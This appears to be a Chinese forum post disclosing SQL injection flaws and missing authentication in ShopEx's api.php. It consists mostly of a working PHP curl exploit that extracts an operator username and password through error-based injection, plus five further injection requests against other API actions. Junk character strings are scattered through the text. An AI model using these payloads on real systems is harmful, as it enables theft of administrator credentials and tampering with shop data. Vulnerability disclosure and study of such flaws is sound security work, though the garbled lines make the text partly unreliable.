|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php1 ~* o- I4 P" K( m& h
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
7 H2 t; t" ~" i6 T6 r2 C+ g/ U* p' v/ W+ A) @# ]! _! Y, e! J# [
第44行 $data['columns'] 未做过滤导致注入
4 [- W$ x) U b6 e
' ^8 E3 i: y( \<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
) m/ C R1 D1 C$ A" O+ {, \5 Y% c8 [' W1 U* w
注射1:' a) j" c9 `6 t
. s, F& H8 }1 M4 z5 b" X
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#( @ [+ K& W( B8 b
( P2 J2 q( E8 c注射2:
2 j! }0 t& u& C" T' a: F+ {http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}. V3 z. q& E+ M+ u8 i( @
+ P7 d2 @3 B, t5 U p1 J0 ^
注射3:
" }9 ^7 q& m% J5 @ http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx v1 `. c( ?- s5 U N
注射4:
: m3 l! G W0 z- @2 }3 V
0 z; e. m- k x8 Khttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1' N- m7 O: S6 d3 N/ a0 @& ^
: c, D: G% r; ~3 b& J7 r8 ~
1 g8 D# K; [) O' V. ^
注射5:' ?) b& ?- N0 n* T1 S
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
7 ^) L# J# q+ K1 X- u; l0 ?% i0 L! e7 i" P8 k; o8 o# M: {. y
* r: d/ y2 P" L& \4 f( o& D
& {# |; F$ ]' i5 ^& Y/ I' [. [! ?3 E
0 g, Z2 H, k4 \; ~7 U: L3 i
: f5 P e$ G# s1 K- u0 q' i# \ |
|